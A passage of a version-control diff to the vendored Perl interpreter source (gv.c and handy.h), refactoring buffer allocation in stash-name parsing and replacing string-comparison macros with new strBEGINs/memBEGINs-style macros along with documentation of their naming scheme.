                const U32 is_utf8, const I32 add)
 {
+    char *tmpfullbuf = NULL; /* only malloc one big chunk of memory when the smallbuff is not large enough */
     const char *name_cursor;
     const char *const name_end = nambeg + full_len;
     const char *const name_em1 = name_end - 1;
+    char smallbuf[64]; /* small buffer to avoid a malloc when possible */
 
     PERL_ARGS_ASSERT_PARSE_GV_STASH_NAME;
     
@@ -1625,9 +1646,17 @@
                     key = *name;
                     *len += 2;
                 }
-                else {
+                else { /* using ' for package separator */
+                    /* use our pre-allocated buffer when possible to save a malloc */
                     char *tmpbuf;
-                    Newx(tmpbuf, *len+2, char);
+                    if ( *len+2 <= sizeof smallbuf)
+                        tmpbuf = smallbuf;
+                    else {
+                        /* only malloc once if needed */
+                        if (tmpfullbuf == NULL) /* only malloc&free once, a little more than needed */
+                            Newx(tmpfullbuf, full_len+2, char);
+                        tmpbuf = tmpfullbuf;
+                    }
                     Copy(*name, tmpbuf, *len, char);
                     tmpbuf[(*len)++] = ':';
                     tmpbuf[(*len)++] = ':';
@@ -1635,22 +1664,21 @@
                 }
                 gvp = (GV**)hv_fetch(*stash, key, is_utf8 ? -((I32)*len) : (I32)*len, add);
                 *gv = gvp ? *gvp : NULL;
-                if (*gv && *gv != (const GV *)&PL_sv_undef) {
-                    if (SvTYPE(*gv) != SVt_PVGV)
-                        gv_init_pvn(*gv, *stash, key, *len, (add & GV_ADDMULTI)|is_utf8);
-                    else
-                        GvMULTI_on(*gv);
+                if (!*gv || *gv == (const GV *)&PL_sv_undef) {
+                    Safefree(tmpfullbuf); /* free our tmpfullbuf if it was used */
+                    return FALSE;
                 }
-                if (key != *name)
-                    Safefree(key);
-                if (!*gv || *gv == (const GV *)&PL_sv_undef)
-                    return FALSE;
+                /* here we know that *gv && *gv != &PL_sv_undef */
+                if (SvTYPE(*gv) != SVt_PVGV)
+                    gv_init_pvn(*gv, *stash, key, *len, (add & GV_ADDMULTI)|is_utf8);
+                else
+                    GvMULTI_on(*gv);
 
                 if (!(*stash = GvHV(*gv))) {
                     *stash = GvHV(*gv) = newHV();
                     if (!HvNAME_get(*stash)) {
                         if (GvSTASH(*gv) == PL_defstash && *len == 6
-                            && strEQs(*name, "CORE"))
+                            && strBEGINs(*name, "CORE"))
                             hv_name_sets(*stash, "CORE", 0);
                         else
                             hv_name_set(
@@ -1679,6 +1707,7 @@
 			    MUTABLE_HV(SvREFCNT_inc_simple(PL_defstash));
 		    }
 		}
+                Safefree(tmpfullbuf); /* free our tmpfullbuf if it was used */
                 return TRUE;
             }
         }
@@ -1908,7 +1937,7 @@
 	if (len > 1 /* shortest is uc */ && HvNAMELEN_get(stash) == 4) {
 	  /* Avoid null warning: */
 	  const char * const stashname = HvNAME(stash); assert(stashname);
-	  if (strEQs(stashname, "CORE"))
+	  if (strBEGINs(stashname, "CORE"))
 	    S_maybe_add_coresub(aTHX_ 0, gv, name, len);
 	}
     }
@@ -1994,9 +2023,9 @@
                                 /* @{^CAPTURE} %{^CAPTURE} */
                 if (memEQs(name, len, "\003APTURE")) {
                     AV* const av = GvAVn(gv);
-                    UV uv= *name;
+                    const Size_t n = *name;
 
-                    sv_magic(MUTABLE_SV(av), (SV*)uv, PERL_MAGIC_regdata, NULL, 0);
+                    sv_magic(MUTABLE_SV(av), (SV*)n, PERL_MAGIC_regdata, NULL, 0);
                     SvREADONLY_on(av);
 
                     if (sv_type == SVt_PVHV || sv_type == SVt_PVGV)
@@ -2040,6 +2069,10 @@
                     goto storeparen;
                 }
 		break;
+            case '\023':
+                if (memEQs(name, len, "\023AFE_LOCALES"))
+		    goto ro_magicalize;
+		break;
 	    case '\024':	/* ${^TAINT} */
                 if (memEQs(name, len, "\024AINT"))
 		    goto ro_magicalize;
@@ -2162,9 +2195,9 @@
             }
             {   /* @- @+ */
                 AV* const av = GvAVn(gv);
-                const UV uv = (UV)*name;
+                const Size_t n = *name;
 
-                sv_magic(MUTABLE_SV(av), (SV*)uv, PERL_MAGIC_regdata, NULL, 0);
+                sv_magic(MUTABLE_SV(av), (SV*)n, PERL_MAGIC_regdata, NULL, 0);
                 SvREADONLY_on(av);
             }
             break;
@@ -2384,8 +2417,8 @@
 	    if (len == 1 && stash == PL_defstash) {
                 maybe_multimagic_gv(gv, name, sv_type);
 	    }
-	    else if (len == 3 && sv_type == SVt_PVAV
-	          && strEQs(name, "ISA")
+            else if (sv_type == SVt_PVAV
+	          && memEQs(name, len, "ISA")
 	          && (!GvAV(gv) || !SvSMAGICAL(GvAV(gv))))
 		gv_magicalize_isa(gv);
 	}
@@ -2461,7 +2494,7 @@
 
     if (hv && (name = HvNAME(hv))) {
       const STRLEN len = HvNAMELEN(hv);
-      if (keepmain || strnNE(name, "main", len)) {
+      if (keepmain || ! memBEGINs(name, len, "main")) {
 	sv_catpvn_flags(sv,name,len,HvNAMEUTF8(hv)?SV_CATUTF8:SV_CATBYTES);
 	sv_catpvs(sv,"::");
       }
@@ -2787,13 +2820,12 @@
 	gv = Perl_gv_fetchmeth_pvn(aTHX_ stash, cooky, l, -1, 0);
         cv = 0;
         if (gv && (cv = GvCV(gv)) && CvHASGV(cv)) {
-            const HEK * const gvhek =
-                CvNAMED(cv) ? CvNAME_HEK(cv) : GvNAME_HEK(CvGV(cv));
+            const HEK * const gvhek = CvGvNAME_HEK(cv);
             const HEK * const stashek =
                 HvNAME_HEK(CvNAMED(cv) ? CvSTASH(cv) : GvSTASH(CvGV(cv)));
-            if (HEK_LEN(gvhek) == 3 && strEQ(HEK_KEY(gvhek), "nil")
-             && stashek && HEK_LEN(stashek) == 8
-             && strEQ(HEK_KEY(stashek), "overload")) {
+            if (memEQs(HEK_KEY(gvhek), HEK_LEN(gvhek), "nil")
+             && stashek
+             && memEQs(HEK_KEY(stashek), HEK_LEN(stashek), "overload")) {
 		/* This is a hack to support autoloading..., while
 		   knowing *which* methods were declared as overloaded. */
 		/* GvSV contains the name of the method. */
@@ -3179,11 +3211,11 @@
 	 case abs_amg:
 	   if ((cvp[off1=lt_amg] || cvp[off1=ncmp_amg])
 	       && ((cv = cvp[off=neg_amg]) || (cv = cvp[off=subtr_amg]))) {
-	     SV* const nullsv=sv_2mortal(newSViv(0));
+	     SV* const nullsv=&PL_sv_zero;
 	     if (off1==lt_amg) {
 	       SV* const lessp = amagic_call(left,nullsv,
 				       lt_amg,AMGf_noright);
-	       logic = SvTRUE(lessp);
+	       logic = SvTRUE_NN(lessp);
 	     } else {
 	       SV* const lessp = amagic_call(left,nullsv,
 				       ncmp_amg,AMGf_noright);
@@ -3203,7 +3235,7 @@
 	 case neg_amg:
 	   if ((cv = cvp[off=subtr_amg])) {
 	     right = left;
-	     left = sv_2mortal(newSViv(0));
+	     left = &PL_sv_zero;
 	     lr = 1;
 	   }
 	   break;
@@ -3451,7 +3483,12 @@
     SV* res;
     const bool oldcatch = CATCH_GET;
     I32 oldmark, nret;
-    U8 gimme = force_scalar ? G_SCALAR : GIMME_V;
+                /* for multiconcat, we may call overload several times,
+                 * with the context of individual concats being scalar,
+                 * regardless of the overall context of the multiconcat op
+                 */
+    U8 gimme = (force_scalar || PL_op->op_type == OP_MULTICONCAT)
+                    ? G_SCALAR : GIMME_V;
 
     CATCH_SET(TRUE);
     Zero(&myop, 1, BINOP);
@@ -3512,7 +3549,7 @@
             res = &PL_sv_undef;
             SP = PL_stack_base + oldmark;
             break;
-        case G_ARRAY: {
+        case G_ARRAY:
             if (flags & AMGf_want_list) {
                 res = sv_2mortal((SV *)newAV());
                 av_extend((AV *)res, nret);
@@ -3521,7 +3558,6 @@
                 break;
             }
             /* FALLTHROUGH */
-        }
         default:
             res = POPs;
             break;
@@ -3556,7 +3592,7 @@
       case dec_amg:
 	SvSetSV(left,res); return left;
       case not_amg:
-	ans=!SvTRUE(res); break;
+	ans=!SvTRUE_NN(res); break;
       default:
         ans=0; break;
       }

Modified: vendor/perl/dist/handy.h
===================================================================
--- vendor/perl/dist/handy.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/handy.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,16 +11,9 @@
 /* IMPORTANT NOTE: Everything whose name begins with an underscore is for
  * internal core Perl use only. */
 
-#ifndef HANDY_H /* Guard against nested #inclusion */
-#define HANDY_H
+#ifndef PERL_HANDY_H_ /* Guard against nested #inclusion */
+#define PERL_HANDY_H_
 
-#if !defined(__STDC__)
-#ifdef NULL
-#undef NULL
-#endif
-#  define NULL 0
-#endif
-
 #ifndef PERL_CORE
 #  define Null(type) ((type)NULL)
 
@@ -116,13 +109,11 @@
  * XXX Similarly, a Configure probe for __FILE__ and __LINE__ is needed. */
 #if (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L) || (defined(__SUNPRO_C)) /* C99 or close enough. */
 #  define FUNCTION__ __func__
+#elif (defined(USING_MSVC6)) || /* MSVC6 has neither __func__ nor __FUNCTION and no good workarounds, either. */ \
+    (defined(__DECC_VER)) /* Tru64 or VMS, and strict C89 being used, but not modern enough cc (in Tur64, -c99 not known, only -std1). */
+#  define FUNCTION__ ""
 #else
-#  if (defined(USING_MSVC6)) || /* MSVC6 has neither __func__ nor __FUNCTION and no good workarounds, either. */ \
-      (defined(__DECC_VER)) /* Tru64 or VMS, and strict C89 being used, but not modern enough cc (in Tur64, -c99 not known, only -std1). */
-#    define FUNCTION__ ""
-#  else
-#    define FUNCTION__ __FUNCTION__ /* Common extension. */
-#  endif
+#  define FUNCTION__ __FUNCTION__ /* Common extension. */
 #endif
 
 /* XXX A note on the perl source internal type system.  The
@@ -174,54 +165,11 @@
 typedef I32TYPE I32;
 typedef U32TYPE U32;
 
-#ifdef HAS_QUAD
+#ifdef QUADKIND
 typedef I64TYPE I64;
 typedef U64TYPE U64;
 #endif
 
-/* INT64_C/UINT64_C are C99 from <stdint.h> (so they will not be
- * available in strict C89 mode), but they are nice, so let's define
- * them if necessary. */
-#if defined(HAS_QUAD)
-#  undef PeRl_INT64_C
-#  undef PeRl_UINT64_C
-/* Prefer the native integer types (int and long) over long long
- * (which is not C89) and Win32-specific __int64. */
-#  if QUADKIND == QUAD_IS_INT && INTSIZE == 8
-#    define PeRl_INT64_C(c)	(c)
-#    define PeRl_UINT64_C(c)	CAT2(c,U)
-#  endif
-#  if QUADKIND == QUAD_IS_LONG && LONGSIZE == 8
-#    define PeRl_INT64_C(c)	CAT2(c,L)
-#    define PeRl_UINT64_C(c)	CAT2(c,UL)
-#  endif
-#  if QUADKIND == QUAD_IS_LONG_LONG && defined(HAS_LONG_LONG)
-#    define PeRl_INT64_C(c)	CAT2(c,LL)
-#    define PeRl_UINT64_C(c)	CAT2(c,ULL)
-#  endif
-#  if QUADKIND == QUAD_IS___INT64
-#    define PeRl_INT64_C(c)	CAT2(c,I64)
-#    define PeRl_UINT64_C(c)	CAT2(c,UI64)
-#  endif
-#  ifndef PeRl_INT64_C
-#    define PeRl_INT64_C(c)	((I64)(c)) /* last resort */
-#    define PeRl_UINT64_C(c)	((U64)(c))
-#  endif
-/* In OS X the INT64_C/UINT64_C are defined with LL/ULL, which will
- * not fly with C89-pedantic gcc, so let's undefine them first so that
- * we can redefine them with our native integer preferring versions. */
-#  if defined(PERL_DARWIN) && defined(PERL_GCC_PEDANTIC)
-#    undef INT64_C
-#    undef UINT64_C
-#  endif
-#  ifndef INT64_C
-#    define INT64_C(c) PeRl_INT64_C(c)
-#  endif
-#  ifndef UINT64_C
-#    define UINT64_C(c) PeRl_UINT64_C(c)
-#  endif
-#endif
-
 #if defined(UINT8_MAX) && defined(INT16_MAX) && defined(INT32_MAX)
 
 /* I8_MAX and I8_MIN constants are not defined, as I8 is an ambiguous type.
@@ -269,8 +217,29 @@
 
 #endif
 
-/* log(2) is pretty close to  0.30103, just in case anyone is grepping for it */
-#define BIT_DIGITS(N)   (((N)*146)/485 + 1)  /* log2(10) =~ 146/485 */
+/* These C99 typedefs are useful sometimes for, say, loop variables whose
+ * maximum values are small, but for which speed trumps size.  If we have a C99
+ * compiler, use that.  Otherwise, a plain 'int' should be good enough.
+ *
+ * Restrict these to core for now until we are more certain this is a good
+ * idea. */
+#if defined(PERL_CORE) || defined(PERL_EXT)
+#  ifdef I_STDINT
+    typedef  int_fast8_t  PERL_INT_FAST8_T;
+    typedef uint_fast8_t  PERL_UINT_FAST8_T;
+    typedef  int_fast16_t PERL_INT_FAST16_T;
+    typedef uint_fast16_t PERL_UINT_FAST16_T;
+#  else
+    typedef int           PERL_INT_FAST8_T;
+    typedef unsigned int  PERL_UINT_FAST8_T;
+    typedef int           PERL_INT_FAST16_T;
+    typedef unsigned int  PERL_UINT_FAST16_T;
+#  endif
+#endif
+
+/* log(2) (i.e., log base 10 of 2) is pretty close to 0.30103, just in case
+ * anyone is grepping for it */
+#define BIT_DIGITS(N)   (((N)*146)/485 + 1)  /* log10(2) =~ 146/485 */
 #define TYPE_DIGITS(T)  BIT_DIGITS(sizeof(T) * 8)
 #define TYPE_CHARS(T)   (TYPE_DIGITS(T) + 2) /* sign, NUL */
 
@@ -304,78 +273,78 @@
 /*
 =head1 SV-Body Allocation
 
-=for apidoc Ama|SV*|newSVpvs|const char* s
-Like C<newSVpvn>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Ama|SV*|newSVpvs|"literal string" s
+Like C<newSVpvn>, but takes a literal string instead of a
 string/length pair.
 
-=for apidoc Ama|SV*|newSVpvs_flags|const char* s|U32 flags
-Like C<newSVpvn_flags>, but takes a C<NUL>-terminated literal string instead of
+=for apidoc Ama|SV*|newSVpvs_flags|"literal string" s|U32 flags
+Like C<newSVpvn_flags>, but takes a literal string instead of
 a string/length pair.
 
-=for apidoc Ama|SV*|newSVpvs_share|const char* s
-Like C<newSVpvn_share>, but takes a C<NUL>-terminated literal string instead of
+=for apidoc Ama|SV*|newSVpvs_share|"literal string" s
+Like C<newSVpvn_share>, but takes a literal string instead of
 a string/length pair and omits the hash parameter.
 
-=for apidoc Am|void|sv_catpvs_flags|SV* sv|const char* s|I32 flags
-Like C<sv_catpvn_flags>, but takes a C<NUL>-terminated literal string instead
+=for apidoc Am|void|sv_catpvs_flags|SV* sv|"literal string" s|I32 flags
+Like C<sv_catpvn_flags>, but takes a literal string instead
 of a string/length pair.
 
-=for apidoc Am|void|sv_catpvs_nomg|SV* sv|const char* s
-Like C<sv_catpvn_nomg>, but takes a C<NUL>-terminated literal string instead of
+=for apidoc Am|void|sv_catpvs_nomg|SV* sv|"literal string" s
+Like C<sv_catpvn_nomg>, but takes a literal string instead of
 a string/length pair.
 
-=for apidoc Am|void|sv_catpvs|SV* sv|const char* s
-Like C<sv_catpvn>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Am|void|sv_catpvs|SV* sv|"literal string" s
+Like C<sv_catpvn>, but takes a literal string instead of a
 string/length pair.
 
-=for apidoc Am|void|sv_catpvs_mg|SV* sv|const char* s
-Like C<sv_catpvn_mg>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Am|void|sv_catpvs_mg|SV* sv|"literal string" s
+Like C<sv_catpvn_mg>, but takes a literal string instead of a
 string/length pair.
 
-=for apidoc Am|void|sv_setpvs|SV* sv|const char* s
-Like C<sv_setpvn>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Am|void|sv_setpvs|SV* sv|"literal string" s
+Like C<sv_setpvn>, but takes a literal string instead of a
 string/length pair.
 
-=for apidoc Am|void|sv_setpvs_mg|SV* sv|const char* s
-Like C<sv_setpvn_mg>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Am|void|sv_setpvs_mg|SV* sv|"literal string" s
+Like C<sv_setpvn_mg>, but takes a literal string instead of a
 string/length pair.
 
-=for apidoc Am|SV *|sv_setref_pvs|const char* s
-Like C<sv_setref_pvn>, but takes a C<NUL>-terminated literal string instead of
+=for apidoc Am|SV *|sv_setref_pvs|"literal string" s
+Like C<sv_setref_pvn>, but takes a literal string instead of
 a string/length pair.
 
 =head1 Memory Management
 
-=for apidoc Ama|char*|savepvs|const char* s
-Like C<savepvn>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Ama|char*|savepvs|"literal string" s
+Like C<savepvn>, but takes a literal string instead of a
 string/length pair.
 
-=for apidoc Ama|char*|savesharedpvs|const char* s
+=for apidoc Ama|char*|savesharedpvs|"literal string" s
 A version of C<savepvs()> which allocates the duplicate string in memory
 which is shared between threads.
 
 =head1 GV Functions
 
-=for apidoc Am|HV*|gv_stashpvs|const char* name|I32 create
-Like C<gv_stashpvn>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Am|HV*|gv_stashpvs|"literal string" name|I32 create
+Like C<gv_stashpvn>, but takes a literal string instead of a
 string/length pair.
 
 =head1 Hash Manipulation Functions
 
-=for apidoc Am|SV**|hv_fetchs|HV* tb|const char* key|I32 lval
-Like C<hv_fetch>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Am|SV**|hv_fetchs|HV* tb|"literal string" key|I32 lval
+Like C<hv_fetch>, but takes a literal string instead of a
 string/length pair.
 
-=for apidoc Am|SV**|hv_stores|HV* tb|const char* key|NULLOK SV* val
-Like C<hv_store>, but takes a C<NUL>-terminated literal string instead of a
+=for apidoc Am|SV**|hv_stores|HV* tb|"literal string" key|SV* val
+Like C<hv_store>, but takes a literal string instead of a
 string/length pair
 and omits the hash parameter.
 
 =head1 Lexer interface
 
-=for apidoc Amx|void|lex_stuff_pvs|const char *pv|U32 flags
+=for apidoc Amx|void|lex_stuff_pvs|"literal string" pv|U32 flags
 
-Like L</lex_stuff_pvn>, but takes a C<NUL>-terminated literal string instead of
+Like L</lex_stuff_pvn>, but takes a literal string instead of
 a string/length pair.
 
 =cut
@@ -472,46 +441,91 @@
 Returns zero if non-equal, or non-zero if equal.
 
 =cut
+
+New macros should use the following conventions for their names (which are
+based on the underlying C library functions):
+
+  (mem | str n? ) (EQ | NE | LT | GT | GE | (( BEGIN | END ) P? )) l? s?
+
+  Each has two main parameters, string-like operands that are compared
+  against each other, as specified by the macro name.  Some macros may
+  additionally have one or potentially even two length parameters.  If a length
+  parameter applies to both string parameters, it will be positioned third;
+  otherwise any length parameter immediately follows the string parameter it
+  applies to.
+
+  If the prefix to the name is 'str', the string parameter is a pointer to a C
+  language string.  Such a string does not contain embedded NUL bytes; its
+  length may be unknown, but can be calculated by C<strlen()>, since it is
+  terminated by a NUL, which isn't included in its length.
+
+  The optional 'n' following 'str' means that that there is a third parameter,
+  giving the maximum number of bytes to look at in each string.  Even if both
+  strings are longer than the length parameter, those extra bytes will be
+  unexamined.
+
+  The 's' suffix means that the 2nd byte string parameter is a literal C
+  double-quoted string.  Its length will automatically be calculated by the
+  macro, so no length parameter will ever be needed for it.
+
+  If the prefix is 'mem', the string parameters don't have to be C strings;
+  they may contain embedded NUL bytes, do not necessarily have a terminating
+  NUL, and their lengths can be known only through other means, which in
+  practice are additional parameter(s) passed to the function.  All 'mem'
+  functions have at least one length parameter.  Barring any 'l' or 's' suffix,
+  there is a single length parameter, in position 3, which applies to both
+  string parameters.  The 's' suffix means, as described above, that the 2nd
+  string is a literal double-quoted C string (hence its length is calculated by
+  the macro, and the length parameter to the function applies just to the first
+  string parameter, and hence is positioned just after it).  An 'l' suffix
+  means that the 2nd string parameter has its own length parameter, and the
+  signature will look like memFOOl(s1, l1, s2, l2).
+
+  BEGIN (and END) are for testing if the 2nd string is an initial (or final)
+  substring  of the 1st string.  'P' if present indicates that the substring
+  must be a "proper" one in tha mathematical sense that the first one must be
+  strictly larger than the 2nd.
+
 */
 
 
-#define strNE(s1,s2) (strcmp(s1,s2))
-#define strEQ(s1,s2) (!strcmp(s1,s2))
+#define strNE(s1,s2) (strcmp(s1,s2) != 0)
+#define strEQ(s1,s2) (strcmp(s1,s2) == 0)
 #define strLT(s1,s2) (strcmp(s1,s2) < 0)
 #define strLE(s1,s2) (strcmp(s1,s2) <= 0)
 #define strGT(s1,s2) (strcmp(s1,s2) > 0)
 #define strGE(s1,s2) (strcmp(s1,s2) >= 0)
 
-#define strnNE(s1,s2,l) (strncmp(s1,s2,l))
-#define strnEQ(s1,s2,l) (!strncmp(s1,s2,l))
+#define strnNE(s1,s2,l) (strncmp(s1,s2,l) != 0)
+#define strnEQ(s1,s2,l) (strncmp(s1,s2,l) == 0)
 
-/* These names are controversial, so guarding against their being used in more
- * places than they already are.  strBEGs and StrStartsWith are potential
- * candidates */
-#if defined(PERL_IN_DOIO_C) || defined(PERL_IN_GV_C) || defined(PERL_IN_HV_C) || defined(PERL_IN_LOCALE_C) || defined(PERL_IN_PERL_C) || defined(PERL_IN_TOKE_C) || defined(PERL_EXT)
-#define strNEs(s1,s2) (strncmp(s1,"" s2 "", sizeof(s2)-1))
-#define strEQs(s1,s2) (!strncmp(s1,"" s2 "", sizeof(s2)-1))
-#endif
+#define memNE(s1,s2,l) (memcmp(s1,s2,l) != 0)
+#define memEQ(s1,s2,l) (memcmp(s1,s2,l) == 0)
 
-#ifdef HAS_MEMCMP
-#  define memNE(s1,s2,l) (memcmp(s1,s2,l))
-#  define memEQ(s1,s2,l) (!memcmp(s1,s2,l))
-#else
-#  define memNE(s1,s2,l) (bcmp(s1,s2,l))
-#  define memEQ(s1,s2,l) (!bcmp(s1,s2,l))
-#endif
-
 /* memEQ and memNE where second comparand is a string constant */
 #define memEQs(s1, l, s2) \
         (((sizeof(s2)-1) == (l)) && memEQ((s1), ("" s2 ""), (sizeof(s2)-1)))
-#define memNEs(s1, l, s2) !memEQs(s1, l, s2)
+#define memNEs(s1, l, s2) (! memEQs(s1, l, s2))
 
-/* memEQ and memNE where second comparand is a string constant
- * and we can assume the length of s1 is at least that of the string */
-#define _memEQs(s1, s2) \
-        (memEQ((s1), ("" s2 ""), (sizeof(s2)-1)))
-#define _memNEs(s1, s2) (memNE((s1),("" s2 ""),(sizeof(s2)-1)))
+/* Keep these private until we decide it was a good idea */
+#if defined(PERL_CORE) || defined(PERL_EXT) || defined(PERL_EXT_POSIX)
 
+#define strBEGINs(s1,s2) (strncmp(s1,"" s2 "", sizeof(s2)-1) == 0)
+
+#define memBEGINs(s1, l, s2)                                                \
+            (   (l) >= sizeof(s2) - 1                                       \
+             && memEQ(s1, "" s2 "", sizeof(s2)-1))
+#define memBEGINPs(s1, l, s2)                                               \
+            (   (l) > sizeof(s2) - 1                                        \
+             && memEQ(s1, "" s2 "", sizeof(s2)-1))
+#define memENDs(s1, l, s2)                                                  \
+            (   (l) >= sizeof(s2) - 1                                       \
+             && memEQ(s1 + (l) - (sizeof(s2) - 1), "" s2 "", sizeof(s2)-1))
+#define memENDPs(s1, l, s2)                                                 \
+            (   (l) > sizeof(s2)                                            \
+             && memEQ(s1 + (l) - (sizeof(s2) - 1), "" s2 "", sizeof(s2)-1))
+#endif  /* End of making macros private */
+
 #define memLT(s1,s2,l) (memcmp(s1,s2,l) < 0)
 #define memLE(s1,s2,l) (memcmp(s1,s2,l) <= 0)
 #define memGT(s1,s2,l) (memcmp(s1,s2,l) > 0)
@@ -1045,11 +1059,9 @@
 
 */
 
-/* Specify the widest unsigned type on the platform.  Use U64TYPE because U64
- * is known only in the perl core, and this macro can be called from outside
- * that */
-#ifdef HAS_QUAD
-#   define WIDEST_UTYPE U64TYPE
+/* Specify the widest unsigned type on the platform. */
+#ifdef QUADKIND
+#   define WIDEST_UTYPE U64
 #else
 #   define WIDEST_UTYPE U32
 #endif
@@ -1113,7 +1125,13 @@
  *
  * The first group of these is ordered in what I (khw) estimate to be the
  * frequency of their use.  This gives a slight edge to exiting a loop earlier
- * (in reginclass() in regexec.c) */
+ * (in reginclass() in regexec.c).  Except \v should be last, as it isn't a
+ * real Posix character class, and some (small) inefficiencies in regular
+ * expression handling would be introduced by putting it in the middle of those
+ * that are.  Also, cntrl and ascii come after the others as it may be useful
+ * to group these which have no members that match above Latin1, (or above
+ * ASCII in the latter case) */
+
 #  define _CC_WORDCHAR           0      /* \w and [:word:] */
 #  define _CC_DIGIT              1      /* \d and [:digit:] */
 #  define _CC_ALPHA              2      /* [:alpha:] */
@@ -1124,17 +1142,6 @@
 #  define _CC_ALPHANUMERIC       7      /* [:alnum:] */
 #  define _CC_GRAPH              8      /* [:graph:] */
 #  define _CC_CASED              9      /* [:lower:] or [:upper:] under /i */
-
-#define _FIRST_NON_SWASH_CC     10
-/* The character classes above are implemented with swashes.  The second group
- * (just below) contains the ones implemented without.  These are also sorted
- * in rough order of the frequency of their use, except that \v should be last,
- * as it isn't a real Posix character class, and some (small) inefficiencies in
- * regular expression handling would be introduced by putting it in the middle
- * of those that are.  Also, cntrl and ascii come after the others as it may be
- * useful to group these which have no members that match above Latin1, (or
- * above ASCII in the latter case) */
-
 #  define _CC_SPACE             10      /* \s, [:space:] */
 #  define _CC_PSXSPC            _CC_SPACE   /* XXX Temporary, can be removed
                                                when the deprecated isFOO_utf8()
@@ -1201,36 +1208,8 @@
 } _char_class_number;
 #endif
 
-#define POSIX_SWASH_COUNT _FIRST_NON_SWASH_CC
 #define POSIX_CC_COUNT    (_HIGHEST_REGCOMP_DOT_H_SYNC + 1)
 
-#if defined(PERL_IN_UTF8_C)                         \
- || defined(PERL_IN_REGCOMP_C)                      \
- || defined(PERL_IN_REGEXEC_C)
-#   if _CC_WORDCHAR != 0 || _CC_DIGIT != 1 || _CC_ALPHA != 2 || _CC_LOWER != 3 \
-       || _CC_UPPER != 4 || _CC_PUNCT != 5 || _CC_PRINT != 6                   \
-       || _CC_ALPHANUMERIC != 7 || _CC_GRAPH != 8 || _CC_CASED != 9
-      #error Need to adjust order of swash_property_names[]
-#   endif
-
-/* This is declared static in each of the few files that this is #defined for
- * to keep them from being publicly accessible.  Hence there is a small amount
- * of wasted space */
-
-static const char* const swash_property_names[] = {
-    "XPosixWord",
-    "XPosixDigit",
-    "XPosixAlpha",
-    "XPosixLower",
-    "XPosixUpper",
-    "XPosixPunct",
-    "XPosixPrint",
-    "XPosixAlnum",
-    "XPosixGraph",
-    "Cased"
-};
-#endif
-
 START_EXTERN_C
 #  ifdef DOINIT
 EXTCONST  U32 PL_charclass[] = {
@@ -1402,7 +1381,7 @@
 #   define isGRAPH_L1(c)     (isPRINT_L1(c) && (! isBLANK_L1(c)))
 #   define isLOWER_L1(c)     (isLOWER_A(c)                                   \
                               || (FITS_IN_8_BITS(c)                          \
-                                  && ((NATIVE_TO_LATIN1((U8) c) >= 0xDF      \
+                                  && ((   NATIVE_TO_LATIN1((U8) c) >= 0xDF   \
                                        && NATIVE_TO_LATIN1((U8) c) != 0xF7)  \
                                        || NATIVE_TO_LATIN1((U8) c) == 0xAA   \
                                        || NATIVE_TO_LATIN1((U8) c) == 0xBA   \
@@ -1412,7 +1391,7 @@
                                   && NATIVE_TO_LATIN1((U8) c) >= 0xA0))
 #   define isPUNCT_L1(c)     (isPUNCT_A(c)                                   \
                               || (FITS_IN_8_BITS(c)                          \
-                                  && (NATIVE_TO_LATIN1((U8) c) == 0xA1       \
+                                  && (   NATIVE_TO_LATIN1((U8) c) == 0xA1    \
                                       || NATIVE_TO_LATIN1((U8) c) == 0xA7    \
                                       || NATIVE_TO_LATIN1((U8) c) == 0xAB    \
                                       || NATIVE_TO_LATIN1((U8) c) == 0xB6    \
@@ -1421,11 +1400,11 @@
                                       || NATIVE_TO_LATIN1((U8) c) == 0xBF)))
 #   define isSPACE_L1(c)     (isSPACE_A(c)                                   \
                               || (FITS_IN_8_BITS(c)                          \
-                                  && (NATIVE_TO_LATIN1((U8) c) == 0x85       \
+                                  && (   NATIVE_TO_LATIN1((U8) c) == 0x85    \
                                       || NATIVE_TO_LATIN1((U8) c) == 0xA0)))
 #   define isUPPER_L1(c)     (isUPPER_A(c)                                   \
                               || (FITS_IN_8_BITS(c)                          \
-                                  && (NATIVE_TO_LATIN1((U8) c) >= 0xC0       \
+                                  && (   NATIVE_TO_LATIN1((U8) c) >= 0xC0    \
                                       && NATIVE_TO_LATIN1((U8) c) <= 0xDE    \
                                       && NATIVE_TO_LATIN1((U8) c) != 0xD7)))
 #   define isWORDCHAR_L1(c)  (isIDFIRST_L1(c) || isDIGIT_A(c))
@@ -2258,8 +2237,9 @@
 #define NEWSV(x,len)	newSV(len)
 #endif
 
-#define MEM_SIZE_MAX ((MEM_SIZE)~0)
+#define MEM_SIZE_MAX ((MEM_SIZE)-1)
 
+#define _PERL_STRLEN_ROUNDUP_UNCHECKED(n) (((n) - 1 + PERL_STRLEN_ROUNDUP_QUANTUM) & ~((MEM_SIZE)PERL_STRLEN_ROUNDUP_QUANTUM - 1))
 
 #ifdef PERL_MALLOC_WRAP
 
@@ -2274,7 +2254,8 @@
  */
 
 #  define _MEM_WRAP_NEEDS_RUNTIME_CHECK(n,t) \
-    (8 * sizeof(n) + sizeof(t) > sizeof(MEM_SIZE))
+    (  sizeof(MEM_SIZE) < sizeof(n) \
+    || sizeof(t) > ((MEM_SIZE)1 << 8*(sizeof(MEM_SIZE) - sizeof(n))))
 
 /* This is written in a slightly odd way to avoid various spurious
  * compiler warnings. We *want* to write the expression as
@@ -2305,17 +2286,22 @@
 	(void)(UNLIKELY(_MEM_WRAP_WILL_WRAP(n,t)) \
 	&& (Perl_croak_nocontext("%s",(a)),0))
 
+/* "a" arg must be a string literal */
+#  define MEM_WRAP_CHECK_s(n,t,a) \
+	(void)(UNLIKELY(_MEM_WRAP_WILL_WRAP(n,t)) \
+	&& (Perl_croak_nocontext("" a ""),0))
+
 #define MEM_WRAP_CHECK_(n,t) MEM_WRAP_CHECK(n,t),
 
